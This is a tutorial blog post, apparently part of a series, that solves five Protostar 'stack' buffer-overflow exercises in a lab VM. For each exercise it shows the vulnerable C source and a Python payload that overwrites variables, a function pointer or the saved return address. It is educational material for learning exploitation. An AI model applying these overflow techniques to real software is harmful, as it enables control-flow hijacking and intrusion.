In our previous article we talked about the RAM operating principle and some other points essential to understanding the mechanism of an operating system. We have also seen how to exploit in theory "Buffer Overflow" vulnerability. In this new article, we will move on some more concrete examples.

MEMORY EXPLOITATION PRACTICE

To use what we learned in the last article, we will try together to solve some of the the exercises of Protostar available on Exploit-Education website. We are going to work on the first 4 exercises which are:

What is a Buffer Overflow and How Hackers Exploit these Flaws part 2


GETTING STARTED WITH PROTOSTAR

Before moving further, we are going to install Protostar on a virtual machine. You don't have to worry, this can be done in a few minutes and in a very simple way. We will start by going to the download section of Exploit-Education site and get a copy of the latest ISO version of Protostar. For those who don't want to waste their time searching, here is the link.

Once you are done, fire-up your Virtualbox and follow step by step the below bundle of 9 screenshots to install Protostar on your VirtualBox.

What is a Buffer Overflow and How Hackers Exploit these Flaws part 2
What is a Buffer Overflow and How Hackers Exploit these Flaws part 2
What is a Buffer Overflow and How Hackers Exploit these Flaws part 2
What is a Buffer Overflow and How Hackers Exploit these Flaws part 2
What is a Buffer Overflow and How Hackers Exploit these Flaws part 2
What is a Buffer Overflow and How Hackers Exploit these Flaws part 2
What is a Buffer Overflow and How Hackers Exploit these Flaws part 2
What is a Buffer Overflow and How Hackers Exploit these Flaws part 2
What is a Buffer Overflow and How Hackers Exploit these Flaws part 2

FIRST EXERCISE "STACK ZERO"

This exercise illustrates how the stack variables are arranged and demonstrates the possibility of modifying outside the allocated memory in order to alter the execution of the program. Take as example the below code for this first exercise:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
    volatile int modified;
    char buffer[64];

    modified = 0;
    gets(buffer);

    if(modified != 0) {
        printf("you have changed the 'modified' variable\n");
    } else {
        printf("Try again?\n");
    }
}

As you can see, we do not interact with the modified variable. Therefore the question is how to change this value? First, let's see what the stack contains at this precise moment:

[buffer (64 bytes)] [modified (4 bytes)] [saved ebp] [saved eip]

Since the gets() function does not check the size of our string, we have to ask ourselves where are the characters going if we exceed 64 bytes? The answer is simple, they go into what is next in the stack, so basically, they are added to the modified variable. We can, therefore, change this variable and validate the challenge. Our final payload to validate this challenge will therefore be:

cd /opt/protostar/bin/
python -c "print 'A' * 65" | ./stack0
you have changed the 'modified' variable

Output

What is a Buffer Overflow and How Hackers Exploit these Flaws part 2

Perfect! You just made your first exploitation of a Stack Overflow! How do you feel?


SECOND EXERCISE "STACK ONE"

Well, let's move now on to the second exercise. Through the following example, we will understand even better the modification of the variables in the program, and how the variables are arranged in memory.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    volatile int modified;
    char buffer[64];

    if(argc == 1) {
        errx(1, "please specify an argument\n");
    }

    modified = 0;
    strcpy(buffer, argv[1]);

    if(modified == 0x61626364) {
        printf("you have correctly got the variable to the right value\n");
    } else {
        printf("Try again, you got 0x%08x\n", modified);
    }
}

If we decompose the above code, we can see that the program requires an arguments argv [1]. Concretely what does this mean? I'm almost sure that you have already seen many times that such thing when you execute a program from your terminal. In some case, you must pass the arguments in your command line such as ./prog arg1 arg2 arg3 etc ....

In our case, argv [1] simply corresponds to arg1. So we have found a stack overflow at the strcpy() because that function doesn't check the size of our argv. But the difficulty this time is to put 0x61626364 in our modified variable. To do so, we must put the 64 "A" padding to fill the buffer then we put 0x61626364 like this:

cd /opt/protostar/bin/
./stack1 $(python -c "print 'A' * 64 + '\x64\x63\x62\x61'")
you have correctly got the variable to the right value

What is a Buffer Overflow and How Hackers Exploit these Flaws part 2


THIRD EXERCISE "STACK TWO"

Before moving on the explanation, please take a few minutes to analyze properly the below code.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    volatile int modified;
    char buffer[64];
    char * variable;

    variable = getenv("GREENIE");

    if(variable == NULL) {
        errx(1, "please set the GREENIE environment variable\n");
    }

    modified = 0;

    strcpy(buffer, variable);

    if(modified == 0x0d0a0d0a) {
        printf("you have correctly modified the variable\n");
    } else {
        printf("Try again, you got 0x%08x\n", modified);
    }
}

This exercise is very similar to the one before but carries a certain nuance. Let's look at the documentation for the getenv() function if you don't know about it. This function searches the environment variable list for a variable named name, and returns a pointer to the corresponding string value. In the above case, our program is vulnerable at the line:

strcpy (buffer, variable);

Do you know why? Following this code, our program retrieves what our environment variable "GREENIE" contains and puts everything in buffer without checking the size. So let's exploit this using the below schema.

GREENIE = [PADDING OF 64] [0x0d0a0d0a]
cd /opt/protostar/bin/
GREENIE=$(python -c "print 'A' * 64 + '\x0a\x0d\x0a\x0d'")
export GREENIE
echo $GREENIE
./stack2

Output

What is a Buffer Overflow and How Hackers Exploit these Flaws part 2


FOURTH EXERCISE "STACK THREE"

This exercise will be the last one we will see in this article, here is the code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
    printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
    volatile int (* fp)();
    char buffer[64];

    fp = 0;

    gets(buffer);

    if(fp) {
        printf("calling function pointer, jumping to 0x%08x\n", fp);
        fp();
    }
}

In the above code, we can clearly understand that the vulnerability occurs when the gets() function is used. We will examine what the stack looks like in this case:

[buffer 64][fp][saved ebp][saved eip]

What we see here is that fp in this case is a pointer of a function and the program will jump to what fp contains. So what we need to move on is just make sure we have the address of win in the fp variable.

cd /opt/protostar/bin
objdump -d stack3 | grep "win"

Using the above command we can find that win is at address "0x08048424". So here is our final payload:

python -c "print 'A' * 64 + '\x24\x84\x04\x08'" | ./stack3

Output

What is a Buffer Overflow and How Hackers Exploit these Flaws part 2


FIFTH EXERCISE "STACK FOUR"

In this new exercise we will see together how a buffer overflow can change code execution even when there's no variable to overwrite. First let's see the source code of our challenge:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
    printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
    char buffer[64];
    gets(buffer);
}

We will now target the return address of the main eip function. This address is stored on the stack at the beginning of the frame. The main point now is to find out how far we will have to go to overflow this variable. In order to do it, we will try to overflowing the buffer and increase the value until we get a segmentation error message.

cd /opt/protostar/bin
(python -c "print 'A' * 64") | ./stack4
(python -c "print 'A' * 68") | ./stack4
(python -c "print 'A' * 72") | ./stack4
(python -c "print 'A' * 76") | ./stack4

Output

What is a Buffer Overflow and How Hackers Exploit these Flaws part 2

We did increase by 4 each time and we got the "Segmentation fault" error message when we did try to put a string of 76 characters. Considering this, we can say that after 76 bytes is the area that overwrites eip, so we will need 76 "A" and the address of win in Little Endian:

cd /opt/protostar/bin
objdump -x stack4 | grep "win"

Output

What is a Buffer Overflow and How Hackers Exploit these Flaws part 2

Now that we got the win address, we just need to use Python to print 76 "A" then the address in Little Endian as the below example:

(python -c "print 'A' * 76 + '\xf4\x83\x04\x08'") | ./stack4

Output

What is a Buffer Overflow and How Hackers Exploit these Flaws part 2

In this article, we saw several examples of buffer overflow on the stack where the objective was simply to change a variable or to jump on a function. In real life, we will rather try to execute what we want, through a shell. This will be the subject of our next article.

For more information on how this script works, I encourage you to watch the video below.